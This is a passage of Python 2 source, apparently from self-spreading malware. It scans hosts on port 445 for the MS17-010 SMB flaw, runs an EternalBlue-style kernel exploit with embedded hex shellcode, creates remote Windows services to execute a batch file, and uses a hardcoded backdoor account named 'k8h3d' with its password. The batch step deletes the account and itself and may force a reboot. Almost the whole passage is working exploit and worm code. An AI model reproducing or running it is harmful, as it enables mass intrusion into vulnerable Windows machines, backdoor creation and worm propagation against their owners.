>>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
|
||||||
|
service_exec(conn, bat)
|
||||||
|
|
||||||
|
|
||||||
|
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
|
||||||
|
with open(localSrc, 'rb') as fp:
|
||||||
|
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
|
||||||
|
|
||||||
|
|
||||||
|
def service_exec(conn, cmd):
|
||||||
|
import random
|
||||||
|
random.choice = random.choice
|
||||||
|
random.randint = random.randint
|
||||||
|
import string
|
||||||
|
from impacket.dcerpc.v5 import transport, srvs, scmr
|
||||||
|
service_name = ('').join([random.choice(string.letters) for i in range(4)])
|
||||||
|
rpcsvc = conn.get_dce_rpc('svcctl')
|
||||||
|
rpcsvc.connect()
|
||||||
|
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
|
svcHandle = None
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
print 'Opening SVCManager on %s.....' % conn.get_remote_host()
|
||||||
|
resp = scmr.hROpenSCManagerW(rpcsvc)
|
||||||
|
svcHandle = resp['lpScHandle']
|
||||||
|
try:
|
||||||
|
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
|
||||||
|
raise e
|
||||||
|
else:
|
||||||
|
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
|
||||||
|
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
|
||||||
|
|
||||||
|
print 'Creating service %s.....' % service_name
|
||||||
|
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
|
||||||
|
serviceHandle = resp['lpServiceHandle']
|
||||||
|
if serviceHandle:
|
||||||
|
try:
|
||||||
|
print 'Starting service %s.....' % service_name
|
||||||
|
scmr.hRStartServiceW(rpcsvc, serviceHandle)
|
||||||
|
time.sleep(2)
|
||||||
|
print 'Stoping service %s.....' % service_name
|
||||||
|
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||||
|
time.sleep(2)
|
||||||
|
except Exception as e:
|
||||||
|
print str(e)
|
||||||
|
|
||||||
|
print 'Removing service %s.....' % service_name
|
||||||
|
scmr.hRDeleteService(rpcsvc, serviceHandle)
|
||||||
|
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
|
||||||
|
except Exception as e:
|
||||||
|
print 'ServiceExec Error on: %s' % conn.get_remote_host()
|
||||||
|
print str(e)
|
||||||
|
|
||||||
|
finally:
|
||||||
|
if svcHandle:
|
||||||
|
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
|
||||||
|
|
||||||
|
rpcsvc.disconnect()
|
||||||
|
|
||||||
|
|
||||||
|
scode = '31c0400f84be03000060e8000000005be823000000b9760100000f328d7b3c39f87411394500740689450089550889f831d20f3061c224008dab00100000c1ed0cc1e50c81ed50000000c3b92300000068300000000fa18ed98ec1648b0d400000008b6104519c60e8000000005be8c5ffffff8b450005170000008944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8e100000097b83f5f647757e8d500000029f889c13d70010000750505080000008d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e8a70000008b400a8d50048d340fe8d70000003d5a6afac174113dd883e03e740a8b3c1729d7e9e0ffffff897d0c8d1c1f8d75105f8b5b04b83e4cf8cee86a0000008b400a3ca077022c0829f8817c03fc0000000074de31c05568010000005550e800000000810424950000005053293c2456b8c45c196de82800000031c050505056b83446ccafe81800000085c074a48b451c80780e01740a8900894004e991ffffffc3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064a22400000099b04050c1e0065054528911514a52b8ea996e57e87bffffff85c07553588b38e8000000005e81c659000000b900040000f3a48b450c50b848b818b8e853ffffff8b400c8b40148b0066817824180075f68b5028817a0c3300320075ea8b5810895d04b85e515e83e82effffff59890131c08845084064a22400000061c35a585859515151e8000000008104240c000000515152ffe0dadeba67042d06d97424f45d31c9b14383c504315513033217cff340ff8dfcb800f2755d3132e1166282617a8f69276e041fe081adaad6ac2e862bafacd57f0f8c15724ec9487f028207d2b2a752ef39fb7377de4c755671c62c78700b45316a48608b01ba1e0ac3f2dfa12a3b12bb6bfccdce85fe70c9527caf5c402624c6acd6e99127d446d56ff9593a0405d1bdca8fa199ced4728357b1d5bc871a8918ccb7de108fdd21a6aa9022b8b4844a893f4b0c16ea2ff2f43e5a9ba0abe7c652062bffd0a2d404c8c7d1414e34a8da3b3a1fda6959f240b2b26fa9dca91b89554281bbb5cf7154856ba2cfd11791651b84bf1f081d60cfcf0504297ea0b01512455a3786feeed823702f46a81d46e659aeec84f824621b88e417e306d78333f87628500655e82e000000b9820000c00f324c8d0d370000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305dc3488d2d0010000048c1ed0c48c1e50c4881ed70000000c30f01f865488924251000000065488b2425a8010000682b00000065ff342510000000505055e8bfffffff488b450048051f00000048894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8180100004891bf3f5f6477e8130100008b400389c33d0004000072050510000000488d50284c8d04114d89c14d8b094d39c80f84db0000004c89c84c29f0483d0007000077e64d29cebfe1140117e8d00000008b780381c708000000488d3419e8060100003d5a6afac174133dd883e03e740c488b0c394829f9e9ddffffffbf48b818b8e893000000488945f0488d34114889f3488b5b084839de74f74a8d1433bf3e4cf8cee8780000008b400348817c02f80000000074db488d4d104d31c04c8d0db50000005568010000005541504881ec20000000bfc45c196de83b000000488d4d104d31c9bf3446ccafe82a0000004881c44000000085c07497488b452080781a01740c48890048894008e981ffffff585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014881ec20000000bfea996e57e862ffffff4881c43000000085c07546488b3e488d354e000000b900060000f3a4488b45f0488b4018488b4020488b0066817848180075f5488b5050817a0c3300320075e84c8b7820bf5e515e83e81bffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d051300000089ca4881ec20000000ffd04881c430000000c3dac4d97424f4be15624e335f33c9b15731771a83c704037716e2e09e06b0eeaf7f76ee4f8036bf0ed0ea6ec7983b428250b7302d294ce6b5e1d954e6b9562ab671667d7cc835b04884f472e629960ef57d78af38b4756eba86649dee49381584189a2ed8a092310d53a2b9ad64a3f128a4d7667b24c838f06ef0fc8d2f20b5907fc313db80cdda504a469467651b15a1c195959d9314dcd352961fd3b4ed6e683642b4797d63650ca5cbc16415c8807b467653f76a3f178c33a3de93639a6b970b556a484a3e2d3013e7f781f3565e435e11e3af7ee0b1d09fba74763a73fd9a53d4fe645c864821a2394855a5394855edb4c554ecc6d51754f75ef82f07b5bcd0e51fc951acf958ec4dfab647edc01164f7b46b140ca419114863f16bc101f5d25c5c2f1b8b3dbd8014ee5e693b95d449b62670f818a342946b57930fb4f3e0a5fda86c5cad79518f30e1f5e9dc8c81d54c210977e1dabf188c5460860af90926ba72bec45d00515bedc8c6a3793b7df4565a1990a8'
|
||||||
|
sc = binascii.unhexlify(scode)
|
||||||
|
NTFEA_SIZE = 69632
|
||||||
|
ntfea10000 = pack('<BBH', 0, 0, 65501) + 'A' * 65502
|
||||||
|
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00') * 600
|
||||||
|
ntfea11000 += pack('<BBH', 0, 0, 62397) + 'A' * 62398
|
||||||
|
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00') * 9364
|
||||||
|
ntfea1f000 += pack('<BBH', 0, 0, 18669) + 'A' * 18670
|
||||||
|
ntfea = {65536: ntfea10000, 69632: ntfea11000}
|
||||||
|
TARGET_HAL_HEAP_ADDR_x64 = 18446744073706405904L
|
||||||
|
TARGET_HAL_HEAP_ADDR_x86 = 4292866048L
|
||||||
|
fakeSrvNetBufferNsa = pack('<II', 69632, 0) * 2
|
||||||
|
fakeSrvNetBufferNsa += pack('<HHI', 65535, 0, 0) * 2
|
||||||
|
fakeSrvNetBufferNsa += '\x00' * 16
|
||||||
|
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 32)
|
||||||
|
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 96, 4100, 0)
|
||||||
|
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 - 128, 0, TARGET_HAL_HEAP_ADDR_x64)
|
||||||
|
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
|
||||||
|
fakeSrvNetBufferNsa += pack('<QHHI', 0, 96, 4100, 0)
|
||||||
|
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
|
||||||
|
fakeSrvNetBufferX64 = pack('<II', 69632, 0) * 2
|
||||||
|
fakeSrvNetBufferX64 += pack('<HHIQ', 65535, 0, 0, 0)
|
||||||
|
fakeSrvNetBufferX64 += '\x00' * 16
|
||||||
|
fakeSrvNetBufferX64 += '\x00' * 16
|
||||||
|
fakeSrvNetBufferX64 += '\x00' * 16
|
||||||
|
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
|
||||||
|
fakeSrvNetBufferX64 += pack('<QHHI', 0, 96, 4100, 0)
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
|
||||||
|
fakeSrvNetBuffer = fakeSrvNetBufferNsa
|
||||||
|
feaList = pack('<I', 65536)
|
||||||
|
feaList += ntfea[NTFEA_SIZE]
|
||||||
|
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer) - 1) + fakeSrvNetBuffer
|
||||||
|
feaList += pack('<BBH', 18, 52, 22136)
|
||||||
|
fake_recv_struct = pack('<QII', 0, 3, 0)
|
||||||
|
fake_recv_struct += '\x00' * 16
|
||||||
|
fake_recv_struct += pack('<QII', 0, 3, 0)
|
||||||
|
fake_recv_struct += '\x00' * 16 * 7
|
||||||
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 160, TARGET_HAL_HEAP_ADDR_x64 + 160)
|
||||||
|
fake_recv_struct += '\x00' * 16
|
||||||
|
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 + 192, TARGET_HAL_HEAP_ADDR_x86 + 192, 0)
|
||||||
|
fake_recv_struct += '\x00' * 16 * 11
|
||||||
|
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 400)
|
||||||
|
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86 + 496 - 1, 0)
|
||||||
|
fake_recv_struct += '\x00' * 16 * 3
|
||||||
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 480)
|
||||||
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 496 - 1)
|
||||||
|
|
||||||
|
def getNTStatus(self):
|
||||||
|
return self['ErrorCode'] << 16 | self['_reserved'] << 8 | self['ErrorClass']
|
||||||
|
|
||||||
|
|
||||||
|
setattr(smb.NewSMBPacket, 'getNTStatus', getNTStatus)
|
||||||
|
|
||||||
|
def sendEcho(conn, tid, data):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||||
|
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||||
|
transCommand['Data'] = smb.SMBEcho_Data()
|
||||||
|
transCommand['Parameters']['EchoCount'] = 1
|
||||||
|
transCommand['Data']['Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print 'got good ECHO response'
|
||||||
|
else:
|
||||||
|
print ('got bad ECHO response: 0x{:x}').format(recvPkt.getNTStatus())
|
||||||
|
|
||||||
|
|
||||||
|
def createSessionAllocNonPaged(target, size):
|
||||||
|
conn = smb.SMB(target, target)
|
||||||
|
_, flags2 = conn.get_flags()
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||||
|
if size >= 65535:
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size // 2
|
||||||
|
else:
|
||||||
|
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size
|
||||||
|
conn.set_flags(flags2=flags2)
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||||
|
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
|
||||||
|
sessionSetup['Parameters']['MaxBufferSize'] = 61440
|
||||||
|
sessionSetup['Parameters']['MaxMpxCount'] = 2
|
||||||
|
sessionSetup['Parameters']['VcNumber'] = 2
|
||||||
|
sessionSetup['Parameters']['SessionKey'] = 0
|
||||||
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0
|
||||||
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
|
||||||
|
sessionSetup['Data'] = pack('<H', reqSize) + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||||
|
pkt.addCommand(sessionSetup)
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print 'SMB1 session setup allocate nonpaged pool success'
|
||||||
|
else:
|
||||||
|
print 'SMB1 session setup allocate nonpaged pool failed'
|
||||||
|
return conn
|
||||||
|
|
||||||
|
|
||||||
|
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
|
||||||
|
structure = (
|
||||||
|
('TotalParameterCount', '<H=0'), ('TotalDataCount', '<H'), ('ParameterCount', '<H=0'), ('ParameterOffset', '<H=0'), ('ParameterDisplacement', '<H=0'), ('DataCount', '<H'), ('DataOffset', '<H'), ('DataDisplacement', '<H=0'), ('FID', '<H=0'))
|
||||||
|
|
||||||
|
|
||||||
|
def send_trans2_second(conn, tid, data, displacement):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||||
|
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
|
||||||
|
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
|
||||||
|
transCommand['Parameters']['TotalParameterCount'] = 0
|
||||||
|
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
fixedOffset = 53
|
||||||
|
transCommand['Data']['Pad1'] = ''
|
||||||
|
transCommand['Parameters']['ParameterCount'] = 0
|
||||||
|
transCommand['Parameters']['ParameterOffset'] = 0
|
||||||
|
if len(data) > 0:
|
||||||
|
pad2Len = (4 - fixedOffset % 4) % 4
|
||||||
|
transCommand['Data']['Pad2'] = '\xff' * pad2Len
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad2'] = ''
|
||||||
|
pad2Len = 0
|
||||||
|
transCommand['Parameters']['DataCount'] = len(data)
|
||||||
|
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
|
||||||
|
transCommand['Parameters']['DataDisplacement'] = displacement
|
||||||
|
transCommand['Data']['Trans_Parameters'] = ''
|
||||||
|
transCommand['Data']['Trans_Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
|
||||||
|
|
||||||
|
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
command = pack('<H', setup)
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||||
|
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||||
|
transCommand['Parameters']['MaxSetupCount'] = 1
|
||||||
|
transCommand['Parameters']['MaxParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['MaxDataCount'] = 0
|
||||||
|
transCommand['Data'] = smb.SMBTransaction2_Data()
|
||||||
|
transCommand['Parameters']['Setup'] = command
|
||||||
|
transCommand['Parameters']['TotalParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
fixedOffset = 73 + len(command)
|
||||||
|
if len(param) > 0:
|
||||||
|
padLen = (4 - fixedOffset % 4) % 4
|
||||||
|
padBytes = '\xff' * padLen
|
||||||
|
transCommand['Data']['Pad1'] = padBytes
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad1'] = ''
|
||||||
|
padLen = 0
|
||||||
|
transCommand['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
|
||||||
|
if len(data) > 0:
|
||||||
|
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||||
|
transCommand['Data']['Pad2'] = '\xff' * pad2Len
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad2'] = ''
|
||||||
|
pad2Len = 0
|
||||||
|
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
|
||||||
|
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
|
||||||
|
transCommand['Data']['Trans_Parameters'] = param
|
||||||
|
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
conn.recvSMB()
|
||||||
|
i = firstDataFragmentSize
|
||||||
|
while i < len(data):
|
||||||
|
sendSize = min(4096, len(data) - i)
|
||||||
|
if len(data) - i <= 4096:
|
||||||
|
if not sendLastChunk:
|
||||||
|
break
|
||||||
|
send_trans2_second(conn, tid, data[i:i + sendSize], i)
|
||||||
|
i += sendSize
|
||||||
|
|
||||||
|
if sendLastChunk:
|
||||||
|
conn.recvSMB()
|
||||||
|
return i
|
||||||
|
|
||||||
|
|
||||||
|
def createConnectionWithBigSMBFirst80(target):
|
||||||
|
sk = socket.create_connection((target, 445))
|
||||||
|
pkt = '\x00\x00' + pack('>H', 65527)
|
||||||
|
pkt += 'BAAD'
|
||||||
|
pkt += '\x00' * 124
|
||||||
|
sk.send(pkt)
|
||||||
|
return sk
|
||||||
|
|
||||||
|
|
||||||
|
lock2 = threading.Lock()
|
||||||
|
|
||||||
|
def exploit2(target, shellcode, numGroomConn):
|
||||||
|
global lock2
|
||||||
|
lock2.acquire()
|
||||||
|
conn = smb.SMB(target, target)
|
||||||
|
conn.login_standard('', '')
|
||||||
|
server_os = conn.get_server_os()
|
||||||
|
print 'Target OS: ' + server_os
|
||||||
|
if not (server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server ') and ' 2008 ' in server_os or server_os.startswith('Windows Vista')):
|
||||||
|
print 'This exploit does not support this target'
|
||||||
|
tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
|
||||||
|
progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30, 2000, False)
|
||||||
|
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
|
||||||
|
srvnetConn = []
|
||||||
|
for i in range(numGroomConn):
|
||||||
|
sk = createConnectionWithBigSMBFirst80(target)
|
||||||
|
srvnetConn.append(sk)
|
||||||
|
|
||||||
|
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
|
||||||
|
allocConn.get_socket().close()
|
||||||
|
for i in range(5):
|
||||||
|
sk = createConnectionWithBigSMBFirst80(target)
|
||||||
|
srvnetConn.append(sk)
|
||||||
|
|
||||||
|
holeConn.get_socket().close()
|
||||||
|
send_trans2_second(conn, tid, feaList[progress:], progress)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
retStatus = recvPkt.getNTStatus()
|
||||||
|
if retStatus == 3221225485L:
|
||||||
|
print 'good response status: INVALID_PARAMETER'
|
||||||
|
else:
|
||||||
|
print ('bad response status: 0x{:08x}').format(retStatus)
|
||||||
|
for sk in srvnetConn:
|
||||||
|
sk.send(fake_recv_struct + shellcode)
|
||||||
|
|
||||||
|
for sk in srvnetConn:
|
||||||
|
sk.close()
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
|
time.sleep(2)
|
||||||
|
lock2.release()
|
||||||
|
|
||||||
|
|
||||||
|
lock3 = threading.Lock()
|
||||||
|
|
||||||
|
def exploit3(target, shellcode, numGroomConn1):
|
||||||
|
global lock3
|
||||||
|
lock3.acquire()
|
||||||
|
conn3 = smb.SMB(target, target)
|
||||||
|
conn3.login_standard('', '')
|
||||||
|
server_os3 = conn3.get_server_os()
|
||||||
|
print 'Target OS: ' + server_os3
|
||||||
|
if not (server_os3.startswith('Windows 7 ') or server_os3.startswith('Windows Server ') and ' 2008 ' in server_os3 or server_os3.startswith('Windows Vista')):
|
||||||
|
print 'This exploit does not support this target'
|
||||||
|
tid3 = conn3.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
|
||||||
|
progress3 = send_big_trans2(conn3, tid3, 0, feaList, '\x00' * 30, 2000, False)
|
||||||
|
allocConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
|
||||||
|
srvnetConn3 = []
|
||||||
|
for i in range(numGroomConn1):
|
||||||
|
sk3 = createConnectionWithBigSMBFirst80(target)
|
||||||
|
srvnetConn3.append(sk3)
|
||||||
|
|
||||||
|
holeConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
|
||||||
|
allocConn3.get_socket().close()
|
||||||
|
for i in range(5):
|
||||||
|
sk3 = createConnectionWithBigSMBFirst80(target)
|
||||||
|
srvnetConn3.append(sk3)
|
||||||
|
|
||||||
|
holeConn3.get_socket().close()
|
||||||
|
send_trans2_second(conn3, tid3, feaList[progress3:], progress3)
|
||||||
|
recvPkt3 = conn3.recvSMB()
|
||||||
|
retStatus3 = recvPkt3.getNTStatus()
|
||||||
|
if retStatus3 == 3221225485L:
|
||||||
|
print 'good response status: INVALID_PARAMETER'
|
||||||
|
else:
|
||||||
|
print ('bad response status: 0x{:08x}').format(retStatus3)
|
||||||
|
for sk3 in srvnetConn3:
|
||||||
|
sk3.send(fake_recv_struct + shellcode)
|
||||||
|
|
||||||
|
for sk3 in srvnetConn3:
|
||||||
|
sk3.close()
|
||||||
|
|
||||||
|
conn3.disconnect_tree(tid3)
|
||||||
|
conn3.logoff()
|
||||||
|
conn3.get_socket().close()
|
||||||
|
time.sleep(2)
|
||||||
|
lock3.release()
|
||||||
|
|
||||||
|
|
||||||
|
NEGOTIATE_PROTOCOL_REQUEST = binascii.unhexlify('00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200')
|
||||||
|
SESSION_SETUP_REQUEST = binascii.unhexlify('00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000')
|
||||||
|
TREE_CONNECT_REQUEST = binascii.unhexlify('00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00')
|
||||||
|
NAMED_PIPE_TRANS_REQUEST = binascii.unhexlify('0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00')
|
||||||
|
timeout = 1
|
||||||
|
verbose = 0
|
||||||
|
threads_num = 255
|
||||||
|
if 'Windows-XP' in platform.platform():
|
||||||
|
timeout = 1
|
||||||
|
threads_num = 2
|
||||||
|
semaphore1 = threading.BoundedSemaphore(value=2)
|
||||||
|
semaphore = threading.BoundedSemaphore(value=2)
|
||||||
|
semaphore2 = threading.BoundedSemaphore(value=2)
|
||||||
|
else:
|
||||||
|
semaphore1 = threading.BoundedSemaphore(value=255)
|
||||||
|
semaphore = threading.BoundedSemaphore(value=threads_num)
|
||||||
|
semaphore2 = threading.BoundedSemaphore(value=100)
|
||||||
|
print_lock = threading.Lock()
|
||||||
|
|
||||||
|
def print_status(ip, message):
|
||||||
|
global print_lock
|
||||||
|
with print_lock:
|
||||||
|
print '[*] [%s] %s' % (ip, message)
|
||||||
|
|
||||||
|
|
||||||
|
def check_ip(ip, tg):
|
||||||
|
global verbose
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(float(timeout) if timeout else None)
|
||||||
|
host = ip
|
||||||
|
port = 445
|
||||||
|
s.connect((host, port))
|
||||||
|
if verbose:
|
||||||
|
print_status(ip, 'Sending negotiation protocol request')
|
||||||
|
s.send(NEGOTIATE_PROTOCOL_REQUEST)
|
||||||
|
negotiate_reply = s.recv(1024)
|
||||||
|
if len(negotiate_reply) < 36 or struct.unpack('<I', negotiate_reply[9:13])[0] != 0:
|
||||||
|
with print_lock:
|
||||||
|
print "[-] [%s] can't determine whether it's vulunerable" % ip
|
||||||
|
return
|
||||||
|
if verbose:
|
||||||
|
print_status(ip, 'Sending session setup request')
|
||||||
|
s.send(SESSION_SETUP_REQUEST)
|
||||||
|
session_setup_response = s.recv(1024)
|
||||||
|
user_id = session_setup_response[32:34]
|
||||||
|
if verbose:
|
||||||
|
print_st(ip, 'User ID = %s' % struct.unpack('<H', user_id)[0])
|
||||||
|
os = ''
|
||||||
|
word_count = ord(session_setup_response[36])
|
||||||
|
if word_count != 0:
|
||||||
|
byte_count = struct.unpack('<H', session_setup_response[43:45])[0]
|
||||||
|
if len(session_setup_response) != byte_count + 45:
|
||||||
|
print_status('invalid session setup AndX response')
|
||||||
|
else:
|
||||||
|
for i in range(46, len(session_setup_response) - 1):
|
||||||
|
if ord(session_setup_response[i]) == 0 and ord(session_setup_response[i + 1]) == 0:
|
||||||
|
os = session_setup_response[46:i].decode('utf-8')[::2]
|
||||||
|
break
|
||||||
|
|
||||||
|
modified_tree_connect_request = list(TREE_CONNECT_REQUEST)
|
||||||
|
modified_tree_connect_request[32] = user_id[0]
|
||||||
|
modified_tree_connect_request[33] = user_id[1]
|
||||||
|
modified_tree_connect_request = ('').join(modified_tree_connect_request)
|
||||||
|
if verbose:
|
||||||
|
print_status(ip, 'Sending tree connect')
|
||||||
|
s.send(modified_tree_connect_request)
|
||||||
|
tree_connect_response = s.recv(1024)
|
||||||
|
tree_id = tree_connect_response[28:30]
|
||||||
|
if verbose:
|
||||||
|
print_status(ip, 'Tree ID = %s' % struct.unpack('<H', tree_id)[0])
|
||||||
|
modified_trans2_session_setup = list(NAMED_PIPE_TRANS_REQUEST)
|
||||||
|
modified_trans2_session_setup[28] = tree_id[0]
|
||||||
|
modified_trans2_session_setup[29] = tree_id[1]
|
||||||
|
modified_trans2_session_setup[32] = user_id[0]
|
||||||
|
modified_trans2_session_setup[33] = user_id[1]
|
||||||
|
modified_trans2_session_setup = ('').join(modified_trans2_session_setup)
|
||||||
|
if verbose:
|
||||||
|
print_status(ip, 'Sending named pipe')
|
||||||
|
s.send(modified_trans2_session_setup)
|
||||||
|
final_response = s.recv(1024)
|
||||||
|
if final_response[9] == '\x05' and final_response[10] == '\x02' and final_response[11] == '\x00' and final_response[12] == '\xc0':
|
||||||
|
print '[+] [%s](%s) got it!' % (ip, os)
|
||||||
|
if 'Windows 7' in os:
|
||||||
|
if scan(ip, 65533) == 0:
|
||||||
|
print '[+] exploit...' + ip + ' win7'
|
||||||
|
try:
|
||||||
|
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
|
||||||
|
except:
|
||||||
|
print 'no user'
|
||||||
|
try:
|
||||||
|
exploit2(ip, sc, int(random.randint(5, 13)))
|
||||||
|
try:
|
||||||
|
print 'exp again '
|
||||||
|
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
|
||||||
|
except:
|
